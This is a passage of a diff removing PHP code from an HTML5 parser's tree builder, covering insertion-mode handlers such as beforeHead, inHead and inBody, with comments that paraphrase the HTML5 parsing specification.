Generate implied end tags. */ - $this->generateImpliedEndTags(); - - /* Anything else. */ - } else { - /* Depends on the insertion mode: */ - switch($this->mode) { - case self::BEFOR_HEAD: return $this->beforeHead($token); break; - case self::IN_HEAD: return $this->inHead($token); break; - case self::AFTER_HEAD: return $this->afterHead($token); break; - case self::IN_BODY: return $this->inBody($token); break; - case self::IN_TABLE: return $this->inTable($token); break; - case self::IN_CAPTION: return $this->inCaption($token); break; - case self::IN_CGROUP: return $this->inColumnGroup($token); break; - case self::IN_TBODY: return $this->inTableBody($token); break; - case self::IN_ROW: return $this->inRow($token); break; - case self::IN_CELL: return $this->inCell($token); break; - case self::IN_SELECT: return $this->inSelect($token); break; - case self::AFTER_BODY: return $this->afterBody($token); break; - case self::IN_FRAME: return $this->inFrameset($token); break; - case self::AFTR_FRAME: return $this->afterFrameset($token); break; - case self::END_PHASE: return $this->trailingEndPhase($token); break; - } - } - } - - private function beforeHead($token) { - /* Handle the token as follows: */ - - /* A character token that is one of one of U+0009 CHARACTER TABULATION, - U+000A LINE FEED (LF), U+000B LINE TABULATION, U+000C FORM FEED (FF), - or U+0020 SPACE */ - if($token['type'] === HTML5::CHARACTR && - preg_match('/^[\t\n\x0b\x0c ]+$/', $token['data'])) { - /* Append the character to the current node. */ - $this->insertText($token['data']); - - /* A comment token */ - } elseif($token['type'] === HTML5::COMMENT) { - /* Append a Comment node to the current node with the data attribute - set to the data given in the comment token. */ - $this->insertComment($token['data']); - - /* A start tag token with the tag name "head" */ - } elseif($token['type'] === HTML5::STARTTAG && $token['name'] === 'head') { - /* Create an element for the token, append the new element to the - current node and push it onto the stack of open elements. */ - $element = $this->insertElement($token); - - /* Set the head element pointer to this new element node. */ - $this->head_pointer = $element; - - /* Change the insertion mode to "in head". */ - $this->mode = self::IN_HEAD; - - /* A start tag token whose tag name is one of: "base", "link", "meta", - "script", "style", "title". Or an end tag with the tag name "html". - Or a character token that is not one of U+0009 CHARACTER TABULATION, - U+000A LINE FEED (LF), U+000B LINE TABULATION, U+000C FORM FEED (FF), - or U+0020 SPACE. Or any other start tag token */ - } elseif($token['type'] === HTML5::STARTTAG || - ($token['type'] === HTML5::ENDTAG && $token['name'] === 'html') || - ($token['type'] === HTML5::CHARACTR && !preg_match('/^[\t\n\x0b\x0c ]$/', - $token['data']))) { - /* Act as if a start tag token with the tag name "head" and no - attributes had been seen, then reprocess the current token. */ - $this->beforeHead(array( - 'name' => 'head', - 'type' => HTML5::STARTTAG, - 'attr' => array() - )); - - return $this->inHead($token); - - /* Any other end tag */ - } elseif($token['type'] === HTML5::ENDTAG) { - /* Parse error. Ignore the token. */ - } - } - - private function inHead($token) { - /* Handle the token as follows: */ - - /* A character token that is one of one of U+0009 CHARACTER TABULATION, - U+000A LINE FEED (LF), U+000B LINE TABULATION, U+000C FORM FEED (FF), - or U+0020 SPACE. - - THIS DIFFERS FROM THE SPEC: If the current node is either a title, style - or script element, append the character to the current node regardless - of its content. */ - if(($token['type'] === HTML5::CHARACTR && - preg_match('/^[\t\n\x0b\x0c ]+$/', $token['data'])) || ( - $token['type'] === HTML5::CHARACTR && in_array(end($this->stack)->nodeName, - array('title', 'style', 'script')))) { - /* Append the character to the current node. */ - $this->insertText($token['data']); - - /* A comment token */ - } elseif($token['type'] === HTML5::COMMENT) { - /* Append a Comment node to the current node with the data attribute - set to the data given in the comment token. */ - $this->insertComment($token['data']); - - } elseif($token['type'] === HTML5::ENDTAG && - in_array($token['name'], array('title', 'style', 'script'))) { - array_pop($this->stack); - return HTML5::PCDATA; - - /* A start tag with the tag name "title" */ - } elseif($token['type'] === HTML5::STARTTAG && $token['name'] === 'title') { - /* Create an element for the token and append the new element to the - node pointed to by the head element pointer, or, if that is null - (innerHTML case), to the current node. */ - if($this->head_pointer !== null) { - $element = $this->insertElement($token, false); - $this->head_pointer->appendChild($element); - - } else { - $element = $this->insertElement($token); - } - - /* Switch the tokeniser's content model flag to the RCDATA state. */ - return HTML5::RCDATA; - - /* A start tag with the tag name "style" */ - } elseif($token['type'] === HTML5::STARTTAG && $token['name'] === 'style') { - /* Create an element for the token and append the new element to the - node pointed to by the head element pointer, or, if that is null - (innerHTML case), to the current node. */ - if($this->head_pointer !== null) { - $element = $this->insertElement($token, false); - $this->head_pointer->appendChild($element); - - } else { - $this->insertElement($token); - } - - /* Switch the tokeniser's content model flag to the CDATA state. */ - return HTML5::CDATA; - - /* A start tag with the tag name "script" */ - } elseif($token['type'] === HTML5::STARTTAG && $token['name'] === 'script') { - /* Create an element for the token. */ - $element = $this->insertElement($token, false); - $this->head_pointer->appendChild($element); - - /* Switch the tokeniser's content model flag to the CDATA state. */ - return HTML5::CDATA; - - /* A start tag with the tag name "base", "link", or "meta" */ - } elseif($token['type'] === HTML5::STARTTAG && in_array($token['name'], - array('base', 'link', 'meta'))) { - /* Create an element for the token and append the new element to the - node pointed to by the head element pointer, or, if that is null - (innerHTML case), to the current node. */ - if($this->head_pointer !== null) { - $element = $this->insertElement($token, false); - $this->head_pointer->appendChild($element); - array_pop($this->stack); - - } else { - $this->insertElement($token); - } - - /* An end tag with the tag name "head" */ - } elseif($token['type'] === HTML5::ENDTAG && $token['name'] === 'head') { - /* If the current node is a head element, pop the current node off - the stack of open elements. */ - if($this->head_pointer->isSameNode(end($this->stack))) { - array_pop($this->stack); - - /* Otherwise, this is a parse error. */ - } else { - // k - } - - /* Change the insertion mode to "after head". */ - $this->mode = self::AFTER_HEAD; - - /* A start tag with the tag name "head" or an end tag except "html". */ - } elseif(($token['type'] === HTML5::STARTTAG && $token['name'] === 'head') || - ($token['type'] === HTML5::ENDTAG && $token['name'] !== 'html')) { - // Parse error. Ignore the token. - - /* Anything else */ - } else { - /* If the current node is a head element, act as if an end tag - token with the tag name "head" had been seen. */ - if($this->head_pointer->isSameNode(end($this->stack))) { - $this->inHead(array( - 'name' => 'head', - 'type' => HTML5::ENDTAG - )); - - /* Otherwise, change the insertion mode to "after head". */ - } else { - $this->mode = self::AFTER_HEAD; - } - - /* Then, reprocess the current token. */ - return $this->afterHead($token); - } - } - - private function afterHead($token) { - /* Handle the token as follows: */ - - /* A character token that is one of one of U+0009 CHARACTER TABULATION, - U+000A LINE FEED (LF), U+000B LINE TABULATION, U+000C FORM FEED (FF), - or U+0020 SPACE */ - if($token['type'] === HTML5::CHARACTR && - preg_match('/^[\t\n\x0b\x0c ]+$/', $token['data'])) { - /* Append the character to the current node. */ - $this->insertText($token['data']); - - /* A comment token */ - } elseif($token['type'] === HTML5::COMMENT) { - /* Append a Comment node to the current node with the data attribute - set to the data given in the comment token. */ - $this->insertComment($token['data']); - - /* A start tag token with the tag name "body" */ - } elseif($token['type'] === HTML5::STARTTAG && $token['name'] === 'body') { - /* Insert a body element for the token. */ - $this->insertElement($token); - - /* Change the insertion mode to "in body". */ - $this->mode = self::IN_BODY; - - /* A start tag token with the tag name "frameset" */ - } elseif($token['type'] === HTML5::STARTTAG && $token['name'] === 'frameset') { - /* Insert a frameset element for the token. */ - $this->insertElement($token); - - /* Change the insertion mode to "in frameset". */ - $this->mode = self::IN_FRAME; - - /* A start tag token whose tag name is one of: "base", "link", "meta", - "script", "style", "title" */ - } elseif($token['type'] === HTML5::STARTTAG && in_array($token['name'], - array('base', 'link', 'meta', 'script', 'style', 'title'))) { - /* Parse error. Switch the insertion mode back to "in head" and - reprocess the token. */ - $this->mode = self::IN_HEAD; - return $this->inHead($token); - - /* Anything else */ - } else { - /* Act as if a start tag token with the tag name "body" and no - attributes had been seen, and then reprocess the current token. */ - $this->afterHead(array( - 'name' => 'body', - 'type' => HTML5::STARTTAG, - 'attr' => array() - )); - - return $this->inBody($token); - } - } - - private function inBody($token) { - /* Handle the token as follows: */ - - switch($token['type']) { - /* A character token */ - case HTML5::CHARACTR: - /* Reconstruct the active formatting elements, if any. */ - $this->reconstructActiveFormattingElements(); - - /* Append the token's character to the current node. */ - $this->insertText($token['data']); - break; - - /* A comment token */ - case HTML5::COMMENT: - /* Append a Comment node to the current node with the data - attribute set to the data given in the comment token. */ - $this->insertComment($token['data']); - break; - - case HTML5::STARTTAG: - switch($token['name']) { - /* A start tag token whose tag name is one of: "script", - "style" */ - case 'script': case 'style': - /* Process the token as if the insertion mode had been "in - head". */ - return $this->inHead($token); - break; - - /* A start tag token whose tag name is one of: "base", "link", - "meta", "title" */ - case 'base': case 'link': case 'meta': case 'title': - /* Parse error. Process the token as if the insertion mode - had been "in head". */ - return $this->inHead($token); - break; - - /* A start tag token with the tag name "body" */ - case 'body': - /* Parse error. If the second element on the stack of open - elements is not a body element, or, if the stack of open - elements has only one node on it, then ignore the token. - (innerHTML case) */ - if(count($this->stack) === 1 || $this->stack[1]->nodeName !== 'body') { - // Ignore - - /* Otherwise, for each attribute on the token, check to see - if the attribute is already present on the body element (the - second element) on the stack of open elements. If it is not, - add the attribute and its corresponding value to that - element. */ - } else { - foreach($token['attr'] as $attr) { - if(!$this->stack[1]->hasAttribute($attr['name'])) { - $this->stack[1]->setAttribute($attr['name'], $attr['value']); - } - } - } - break; - - /* A start tag whose tag name is one of: "address", - "blockquote", "center", "dir", "div", "dl", "fieldset", - "listing", "menu", "ol", "p", "ul" */ - case 'address': case 'blockquote': case 'center': case 'dir': - case 'div': case 'dl': case 'fieldset': case 'listing': - case 'menu': case 'ol': case 'p': case 'ul': - /* If the stack of open elements has a p element in scope, - then act as if an end tag with the tag name p had been - seen. */ - if($this->elementInScope('p')) { - $this->emitToken(array( - 'name' => 'p', - 'type' => HTML5::ENDTAG - )); - } - - /* Insert an HTML element for the token. */ - $this->insertElement($token); - break; - - /* A start tag whose tag name is "form" */ - case 'form': - /* If the form element pointer is not null, ignore the - token with a parse error. */ - if($this->form_pointer !== null) { - // Ignore. - - /* Otherwise: */ - } else { - /* If the stack of open elements has a p element in - scope, then act as if an end tag with the tag name p - had been seen. */ - if($this->elementInScope('p')) { - $this->emitToken(array( - 'name' => 'p', - 'type' => HTML5::ENDTAG - )); - } - - /* Insert an HTML element for the token, and set the - form element pointer to point to the element created. */ - $element = $this->insertElement($token); - $this->form_pointer = $element; - } - break; - - /* A start tag whose tag name is "li", "dd" or "dt" */ - case 'li': case 'dd': case 'dt': - /* If the stack of open elements has a p element in scope, - then act as if an end tag with the tag name p had been - seen. */ - if($this->elementInScope('p')) { - $this->emitToken(array( - 'name' => 'p', - 'type' => HTML5::ENDTAG - )); - } - - $stack_length = count($this->stack) - 1; - - for($n = $stack_length; 0 <= $n; $n--) { - /* 1. Initialise node to be the current node (the - bottommost node of the stack). */ - $stop = false; - $node = $this->stack[$n]; - $cat = $this->getElementCategory($node->tagName); - - /* 2. If node is an li, dd or dt element, then pop all - the nodes from the current node up to node, including - node, then stop this algorithm. */ - if($token['name'] === $node->tagName || ($token['name'] !== 'li' - && ($node->tagName === 'dd' || $node->tagName === 'dt'))) { - for($x = $stack_length; $x >= $n ; $x--) { - array_pop($this->stack); - } - - break; - } - - /* 3. If node is not in the formatting category, and is - not in the phrasing category, and is not an address or - div element, then stop this algorithm. */ - if($cat !== self::FORMATTING && $cat !== self::PHRASING && - $node->tagName !== 'address' && $node->tagName !== 'div') { - break; - } - } - - /* Finally, insert an HTML element with the same tag - name as the token's. */ - $this->insertElement($token); - break; - - /* A start tag token whose tag name is "plaintext" */ - case 'plaintext': - /* If the stack of open elements has a p element in scope, - then act as if an end tag with the tag name p had been - seen. */ - if($this->elementInScope('p')) { - $this->emitToken(array( - 'name' => 'p', - 'type' => HTML5::ENDTAG - )); - } - - /* Insert an HTML element for the token. */ - $this->insertElement($token); - - return HTML5::PLAINTEXT; - break; - - /* A start tag whose tag name is one of: "h1", "h2", "h3", "h4", - "h5", "h6" */ - case 'h1': case 'h2': case 'h3': case 'h4': case 'h5': case 'h6': - /* If the stack of open elements has a p element in scope, - then act as if an end tag with the tag name p had been seen. */ - if($this->elementInScope('p')) { - $this->emitToken(array( - 'name' => 'p', - 'type' => HTML5::ENDTAG - )); - } - - /* If the stack of open elements has in scope an element whose - tag name is one of "h1", "h2", "h3", "h4", "h5", or "h6", then - this is a parse error; pop elements from the stack until an - element with one of those tag names has been popped from the - stack. */ - while($this->elementInScope(array('h1', 'h2', 'h3', 'h4', 'h5', 'h6'))) { - array_pop($this->stack); - } - - /* Insert an HTML element for the token. */ - $this->insertElement($token); - break; - - /* A start tag whose tag name is "a" */ - case 'a': - /* If the list of active formatting elements contains - an element whose tag name is "a" between the end of the - list and the last marker on the list (or the start of - the list if there is no marker on the list), then this - is a parse error; act as if an end tag with the tag name - "a" had been seen, then remove that element from the list - of active formatting elements and the stack of open - elements if the end tag didn't already remove it (it - might not have if the element is not in table scope). */ - $leng = count($this->a_formatting); - - for($n = $leng - 1; $n >= 0; $n--) { - if($this->a_formatting[$n] === self::MARKER) { - break; - - } elseif($this->a_formatting[$n]->nodeName === 'a') { - $this->emitToken(array( - 'name' => 'a', - 'type' => HTML5::ENDTAG - )); - break; - } - } - - /* Reconstruct the active formatting elements, if any. */ - $this->reconstructActiveFormattingElements(); - - /* Insert an HTML element for the token. */ - $el = $this->insertElement($token); - - /* Add that element to the list of active formatting - elements. */ - $this->a_formatting[] = $el; - break; - - /* A start tag whose tag name is one of: "b", "big", "em", "font", - "i", "nobr", "s", "small", "strike", "strong", "tt", "u" */ - case 'b': case 'big': case 'em': case 'font': case 'i': - case 'nobr': case 's': case 'small': case 'strike': - case 'strong': case 'tt': case 'u': - /* Reconstruct the active formatting elements, if any. */ - $this->reconstructActiveFormattingElements(); - - /* Insert an HTML element for the token. */ - $el = $this->insertElement($token); - - /* Add that element to the list of active formatting - elements. */ - $this->a_formatting[] = $el; - break; - - /* A start tag token whose tag name is "button" */ - case 'button': - /* If the stack of open elements has a button element in scope, - then this is a parse error; act as if an end tag with the tag - name "button" had been seen, then reprocess the token. (We don't - do that. Unnecessary.) */ - if($this->elementInScope('button')) { - $this->inBody(array( - 'name' => 'button', - 'type' => HTML5::ENDTAG - )); - } - - /* Reconstruct the active formatting elements, if any. */ - $this->reconstructActiveFormattingElements(); - - /* Insert an HTML element for the token. */ - $this->insertElement($token); - - /* Insert a marker at the end of the list of active - formatting elements. */ - $this->a_formatting[] = self::MARKER; - break; - - /* A start tag token whose tag name is one of: "marquee", "object" */ - case 'marquee': case 'object': - /* Reconstruct the active formatting elements, if any. */ - $this->reconstructActiveFormattingElements(); - - /* Insert an HTML element for the token. */ - $this->insertElement($token); - - /* Insert a marker at the end of the list of active - formatting elements. */ - $this->a_formatting[] = self::MARKER; - break; - - /* A start tag token whose tag name is "xmp" */ - case 'xmp': - /* Reconstruct the active formatting elements, if any. */ - $this->reconstructActiveFormattingElements(); - - /* Insert an HTML element for the token. */ - $this->insertElement($token); - - /* Switch the content model flag to the CDATA state. */ - return HTML5::CDATA; - break; - - /* A start tag whose tag name is "table" */ - case 'table': - /* If the stack of open elements has a p element in scope, - then act as if an end tag with the tag name p had been seen. */ - if($this->elementInScope('p')) { - $this->emitToken(array( - 'name' => 'p', - 'type' => HTML5::ENDTAG - )); - } - - /* Insert an HTML element for the token. */ - $this->insertElement($token); - - /* Change the insertion mode to "in table". */ - $this->mode = self::IN_TABLE; - break; - - /* A start tag whose tag name is one of: "area", "basefont", - "bgsound", "br", "embed", "img", "param", "spacer", "wbr" */ - case 'area': case 'basefont': case 'bgsound': case 'br': - case 'embed': case 'img': case 'param': case 'spacer': - case 'wbr': - /* Reconstruct the active formatting elements, if any. */ - $this->reconstructActiveFormattingElements(); - - /* Insert an HTML element for the token. */ - $this->insertElement($token); - - /* Immediately pop the current node off the stack of open elements. */ - array_pop($this->stack); - break; - - /* A start tag whose tag name is "hr" */ - case 'hr': - /* If the stack of open elements has a p element in scope, - then act as if an end tag with the tag name p had been seen. */ - if($this->elementInScope('p')) { - $this->emitToken(array( - 'name' => 'p', - 'type' => HTML5::ENDTAG - )); - } - - /* Insert an HTML element for the token. */ - $this->insertElement($token); - - /* Immediately pop the current node off the stack of open elements. */ - array_pop($this->stack); - break; - - /* A start tag whose tag name is "image" */ - case 'image': - /* Parse error. Change the token's tag name to "img" and - reprocess it. (Don't ask.) */ - $token['name'] = 'img'; - return $this->inBody($token); - break; - - /* A start tag whose tag name is "input" */ - case 'input': - /* Reconstruct the active formatting elements, if any. */ - $this->reconstructActiveFormattingElements(); - - /* Insert an input element for the token. */ - $element = $this->insertElement($token, false); - - /* If the form element pointer is not null, then associate the - input element with the form element pointed to by the form - element pointer. */ - $this->form_pointer !== null - ? $this->form_pointer->appendChild($element) - : end($this->stack)->appendChild($element); - - /* Pop that input element off the stack of open elements. */ - array_pop($this->stack); - break; - - /* A start tag whose tag name is "isindex" */ - case 'isindex': - /* Parse error. */ - // w/e - - /* If the form element pointer is not null, - then ignore the token. */ - if($this->form_pointer === null) { - /* Act as if a start tag token with the tag name "form" had - been seen. */ - $this->inBody(array( - 'name' => 'body', - 'type' => HTML5::STARTTAG, - 'attr' => array() - )); - - /* Act as if a start tag token with the tag name "hr" had - been seen. */ - $this->inBody(array( - 'name' => 'hr', - 'type' => HTML5::STARTTAG, - 'attr' => array() - )); - - /* Act as if a start tag token with the tag name "p" had - been seen. */ - $this->inBody(array( - 'name' => 'p', - 'type' => HTML5::STARTTAG, - 'attr' => array() - )); - - /* Act as if a start tag token with the tag name "label" - had been seen. */ - $this->inBody(array( - 'name' => 'label', - 'type' => HTML5::STARTTAG, - 'attr' => array() - )); - - /* Act as if a stream of character tokens had been seen. */ - $this->insertText('This is a searchable index. '. - 'Insert your search keywords here: '); - - /* Act as if a start tag token with the tag name "input" - had been seen, with all the attributes from the "isindex" - token, except with the "name" attribute set to the value - "isindex" (ignoring any explicit "name" attribute). */ - $attr = $token['attr']; - $attr[] = array('name' => 'name', 'value' => 'isindex'); - - $this->inBody(array( - 'name' => 'input', - 'type' => HTML5::STARTTAG, - 'attr' => $attr - )); - - /* Act as if a stream of character tokens had been seen - (see below for what they should say). */ - $this->insertText('This is a searchable index. '. - 'Insert your search keywords here: '); - - /* Act as if an end tag token with the tag name "label" - had been seen. */ - $this->inBody(array( - 'name' => 'label', - 'type' => HTML5::ENDTAG - )); - - /* Act as if an end tag token with the tag name "p" had - been seen. */ - $this->inBody(array( - 'name' => 'p', - 'type' => HTML5::ENDTAG - )); - - /* Act as if a start tag token with the tag name "hr" had - been seen. */ - $this->inBody(array( - 'name' => 'hr', - 'type' => HTML5::ENDTAG - )); - - /* Act as if an end tag token with the tag name "form" had - been seen. */ - $this->inBody(array( - 'name' => 'form', - 'type' => HTML5::ENDTAG - )); - } - break; - - /* A start tag whose tag name is "textarea" */ - case 'textarea': - $this->insertElement($token); - - /* Switch the tokeniser's content model flag to the - RCDATA state. */ - return HTML5::RCDATA; - break; - - /* A start tag whose tag name is one of: "iframe", "noembed", - "noframes" */ - case 'iframe': case 'noembed': case 'noframes': - $this->insertElement($token); - - /* Switch the tokeniser's content model flag to the CDATA state. */ - return HTML5::CDATA; - break; - - /* A start tag whose tag name is "select" */ - case 'select': - /* Reconstruct the active formatting elements, if any. */ - $this->reconstructActiveFormattingElements(); - - /* Insert an HTML element for the token. */ - $this->insertElement($token); - - /* Change the insertion mode to "in select". */ - $this->mode = self::IN_SELECT; - break; - - /* A start or end tag whose tag name is one of: "caption", "col", - "colgroup", "frame", "frameset", "head", "option", "optgroup", - "tbody", "td", "tfoot", "th", "thead", "tr". */ - case 'caption': case 'col': case 'colgroup': case 'frame': - case 'frameset': case 'head': case 'option': case 'optgroup': - case 'tbody': case 'td': case 'tfoot': case 'th': case 'thead': - case 'tr': - // Parse error. Ignore the token. - break; - - /* A start or end tag whose tag name is one of: "event-source", - "section", "nav", "article", "aside", "header", "footer", - "datagrid", "command" */ - case 'event-source': case 'section': case 'nav': case 'article': - case 'aside': case 'header': case 'footer': case 'datagrid': - case 'command': - // Work in progress! - break; - - /* A start tag token not covered by the previous entries */ - default: - /* Reconstruct the active formatting elements, if any. */ - $this->reconstructActiveFormattingElements(); - - $this->insertElement($token); - break; - } - break; - - case HTML5::ENDTAG: - switch($token['name']) { - /* An end tag with the tag name "body" */ - case 'body': - /* If the second element in the stack of open elements is - not a body element, this is a parse error. Ignore the token. - (innerHTML case) */ - if(count($this->stack) < 2 || $this->stack[1]->nodeName !== 'body') { - // Ignore. - - /* If the current node is not the body element, then this - is a parse error. */ - } elseif(end($this->stack)->nodeName !== 'body') { - // Parse error. - } - - /* Change the insertion mode to "after body". */ - $this->mode = self::AFTER_BODY; - break; - - /* An end tag with the tag name "html" */ - case 'html': - /* Act as if an end tag with tag name "body" had been seen, - then, if that token wasn't ignored, reprocess the current - token. */ - $this->inBody(array( - 'name' => 'body', - 'type' => HTML5::ENDTAG - )); - - return $this->afterBody($token); - break; - - /* An end tag whose tag name is one of: "address", "blockquote", - "center", "dir", "div", "dl", "fieldset", "listing", "menu", - "ol", "pre", "ul" */ - case 'address': case 'blockquote': case 'center': case 'dir': - case 'div': case 'dl': case 'fieldset': case 'listing': - case 'menu': case 'ol': case 'pre': case 'ul': - /* If the stack of open elements has an element in scope - with the same tag name as that of the token, then generate - implied end tags. */ - if($this->elementInScope($token['name'])) { - $this->generateImpliedEndTags(); - - /* Now, if the current node is not an element with - the same tag name as that of the token, then this - is a parse error. */ - // w/e - - /* If the stack of open elements has an element in - scope with the same tag name as that of the token, - then pop elements from this stack until an element - with that tag name has been popped from the stack. */ - for($n = count($this->stack) - 1; $n >= 0; $n--) { - if($this->stack[$n]->nodeName === $token['name']) { - $n = -1; - } - - array_pop($this->stack); - } - } - break; - - /* An end tag whose tag name is "form" */ - case 'form': - /* If the stack of open elements has an element in scope - with the same tag name as that of the token, then generate - implied end tags. */ - if($this->elementInScope($token['name'])) { - $this->generateImpliedEndTags(); - - } - - if(end($this->stack)->nodeName !== $token['name']) { - /* Now, if the current node is not an element with the - same tag name as that of the token, then this is a parse - error. */ - // w/e - - } else { - /* Otherwise, if the current node is an element with - the same tag name as that of the token pop that element - from the stack. */ - array_pop($this->stack); - } - - /* In any case, set the form element pointer to null. */ - $this->form_pointer = null; - break; - - /* An end tag whose tag name is "p" */ - case 'p': - /* If the stack of open elements has a p element in scope, - then generate implied end tags, except for p elements. */ - if($this->elementInScope('p')) { - $this->generateImpliedEndTags(array('p')); - - /* If the current node is not a p element, then this is - a parse error. */ - // k - - /* If the stack of open elements has a p element in - scope, then pop elements from this stack until the stack - no longer has a p element in scope. */ - for($n = count($this->stack) - 1; $n >= 0; $n--) { - if($this->elementInScope('p')) { - array_pop($this->stack); - - } else { - break; - } - } - } - break; - - /* An end tag whose tag name is "dd", "dt", or "li" */ - case 'dd': case 'dt': case 'li': - /* If the stack of open elements has an element in scope - whose tag name matches the tag name of the token, then - generate implied end tags, except for elements with the - same tag name as the token. */ - if($this->elementInScope($token['name'])) { - $this->generateImpliedEndTags(array($token['name'])); - - /* If the current node is not an element with the same - tag name as the token, then this is a parse error. */ - // w/e - - /* If the stack of open elements has an element in scope - whose tag name matches the tag name of the token, then - pop elements from this stack until an element with that - tag name has been popped from the stack. */ - for($n = count($this->stack) - 1; $n >= 0; $n--) { - if($this->stack[$n]->nodeName === $token['name']) { - $n = -1; - } - - array_pop($this->stack); - } - } - break; - - /* An end tag whose tag name is one of: "h1", "h2", "h3", "h4", - "h5", "h6" */ - case 'h1': case 'h2': case 'h3': case 'h4': case 'h5': case 'h6': - $elements = array('h1', 'h2', 'h3', 'h4', 'h5', 'h6'); - - /* If the stack of open elements has in scope an element whose - tag name is one of "h1", "h2", "h3", "h4", "h5", or "h6", then - generate implied end tags. */ - if($this->elementInScope($elements)) { - $this->generateImpliedEndTags(); - - /* Now, if the current node is not an element with the same - tag name as that of the token, then this is a parse error. */ - // w/e - - /* If the stack of open elements has in scope an element - whose tag name is one of "h1", "h2", "h3", "h4", "h5", or - "h6", then pop elements from the stack until an element - with one of those tag names has been popped from the stack. */ - while($this->elementInScope($elements)) { - array_pop($this->stack); - } - } - break; - - /* An end tag whose tag name is one of: "a", "b", "big", "em", - "font", "i", "nobr", "s", "small", "strike", "strong", "tt", "u" */ - case 'a': case 'b': case 'big': case 'em': case 'font': - case 'i': case 'nobr': case 's': case 'small': case 'strike': - case 'strong': case 'tt': case 'u': - /* 1. Let the formatting element be the last element in - the list of active formatting elements that: - * is between the end of the list and the last scope - marker in the list, if any, or the start of the list - otherwise, and - * has the same tag name as the token. - */ - while(true) { - for($a = count($this->a_formatting) - 1; $a >= 0; $a--) { - if($this->a_formatting[$a] === self::MARKER) { - break; - - } elseif($this->a_formatting[$a]->tagName === $token['name']) { - $formatting_element = $this->a_formatting[$a]; - $in_stack = in_array($formatting_element, $this->stack, true); - $fe_af_pos = $a; - break; - } - } - - /* If there is no such node, or, if that node is - also in the stack of open elements but the element - is not in scope, then this is a parse error. Abort - these steps. The token is ignored. */ - if(!isset($formatting_element) || ($in_stack && - !$this->elementInScope($token['name']))) { - break; - - /* Otherwise, if there is such a node, but that node - is not in the stack of open elements, then this is a - parse error; remove the element from the list, and - abort these steps. */ - } elseif(isset($formatting_element) && !$in_stack) { - unset($this->a_formatting[$fe_af_pos]); - $this->a_formatting = array_merge($this->a_formatting); - break; - } - - /* 2. Let the furthest block be the topmost node in the - stack of open elements that is lower in the stack - than the formatting element, and is not an element in - the phrasing or formatting categories. There might - not be one. */ - $fe_s_pos = array_search($formatting_element, $this->stack, true); - $length = count($this->stack); - - for($s = $fe_s_pos + 1; $s < $length; $s++) { - $category = $this->getElementCategory($this->stack[$s]->nodeName); - - if($category !== self::PHRASING && $category !== self::FORMATTING) { - $furthest_block = $this->stack[$s]; - } - } - - /* 3. If there is no furthest block, then the UA must - skip the subsequent steps and instead just pop all - the nodes from the bottom of the stack of open - elements, from the current node up to the formatting - element, and remove the formatting element from the - list of active formatting elements. */ - if(!isset($furthest_block)) { - for($n = $length - 1; $n >= $fe_s_pos; $n--) { - array_pop($this->stack); - } - - unset($this->a_formatting[$fe_af_pos]); - $this->a_formatting = array_merge($this->a_formatting); - break; - } - - /* 4. Let the common ancestor be the element - immediately above the formatting element in the stack - of open elements. */ - $common_ancestor = $this->stack[$fe_s_pos - 1]; - - /* 5. If the furthest block has a parent node, then - remove the furthest block from its parent node. */ - if($furthest_block->parentNode !== null) { - $furthest_block->parentNode->removeChild($furthest_block); - } - - /* 6. Let a bookmark note the position of the - formatting element in the list of active formatting - elements relative to the elements on either side - of it in the list. */ - $bookmark = $fe_af_pos; - - /* 7. Let node and last node be the furthest block. - Follow these steps: */ - $node = $furthest_block; - $last_node = $furthest_block; - - while(true) { - for($n = array_search($node, $this->stack, true) - 1; $n >= 0; $n--) { - /* 7.1 Let node be the element immediately - prior to node in the stack of open elements. */ - $node = $this->stack[$n]; - - /* 7.2 If node is not in the list of active - formatting elements, then remove node from - the stack of open elements and then go back - to step 1. */ - if(!in_array($node, $this->a_formatting, true)) { - unset($this->stack[$n]); - $this->stack = array_merge($this->stack); - - } else { - break; - } - } - - /* 7.3 Otherwise, if node is the formatting - element, then go to the next step in the overall - algorithm. */ - if($node === $formatting_element) { - break; - - /* 7.4 Otherwise, if last node is the furthest - block, then move the aforementioned bookmark to - be immediately after the node in the list of - active formatting elements. */ - } elseif($last_node === $furthest_block) { - $bookmark = array_search($node, $this->a_formatting, true) + 1; - } - - /* 7.5 If node has any children, perform a - shallow clone of node, replace the entry for - node in the list of active formatting elements - with an entry for the clone, replace the entry - for node in the stack of open elements with an - entry for the clone, and let node be the clone. */ - if($node->hasChildNodes()) { - $clone = $node->cloneNode(); - $s_pos = array_search($node, $this->stack, true); - $a_pos = array_search($node, $this->a_formatting, true); - - $this->stack[$s_pos] = $clone; - $this->a_formatting[$a_pos] = $clone; - $node = $clone; - } - - /* 7.6 Insert last node into node, first removing - it from its previous parent node if any. */ - if($last_node->parentNode !== null) { - $last_node->parentNode->removeChild($last_node); - } - - $node->appendChild($last_node); - - /* 7.7 Let last node be node. */ - $last_node = $node; - } - - /* 8. Insert whatever last node ended up being in - the previous step into the common ancestor node, - first removing it from its previous parent node if - any. */ - if($last_node->parentNode !== null) { - $last_node->parentNode->removeChild($last_node); - } - - $common_ancestor->appendChild($last_node); - - /* 9. Perform a shallow clone of the formatting - element. */ - $clone = $formatting_element->cloneNode(); - - /* 10. Take all of the child nodes of the furthest - block and append them to the clone created in the - last step. */ - while($furthest_block->hasChildNodes()) { - $child = $furthest_block->firstChild; - $furthest_block->removeChild($child); - $clone->appendChild($child); - } - - /* 11. Append that clone to the furthest block. */ - $furthest_block->appendChild($clone); - - /* 12. Remove the formatting element from the list - of active formatting elements, and insert the clone - into the list of active formatting elements at the - position of the aforementioned bookmark. */ - $fe_af_pos = array_search($formatting_element, $this->a_formatting, true); - unset($this->a_formatting[$fe_af_pos]); - $this->a_formatting = array_merge($this->a_formatting); - - $af_part1 = array_slice($this->a_formatting, 0, $bookmark - 1); - $af_part2 = array_slice($this->a_formatting, $bookmark, count($this->a_formatting)); - $this->a_formatting = array_merge($af_part1, array($clone), $af_part2); - - /* 13. Remove the formatting element from the stack - of open elements, and insert the clone into the stack - of open elements immediately after (i.e. in a more - deeply nested position than) the position of the - furthest block in that stack. */ - $fe_s_pos = array_search($formatting_element, $this->stack, true); - $fb_s_pos = array_search($furthest_block, $this->stack, true); - unset($this->stack[$fe_s_pos]); - - $s_part1 = array_slice($this->stack, 0, $fb_s_pos); - $s_part2 = array_slice($this->stack, $fb_s_pos + 1, count($this->stack)); - $this->stack = array_merge($s_part1, array($clone), $s_part2); - - /* 14. Jump back to step 1 in this series of steps. */ - unset($formatting_element, $fe_af_pos, $fe_s_pos, $furthest_block); - } - break; - - /* An end tag token whose tag name is one of: "button", - "marquee", "object" */ - case 'button': case 'marquee': case 'object': - /* If the stack of open elements has an element in scope whose - tag name 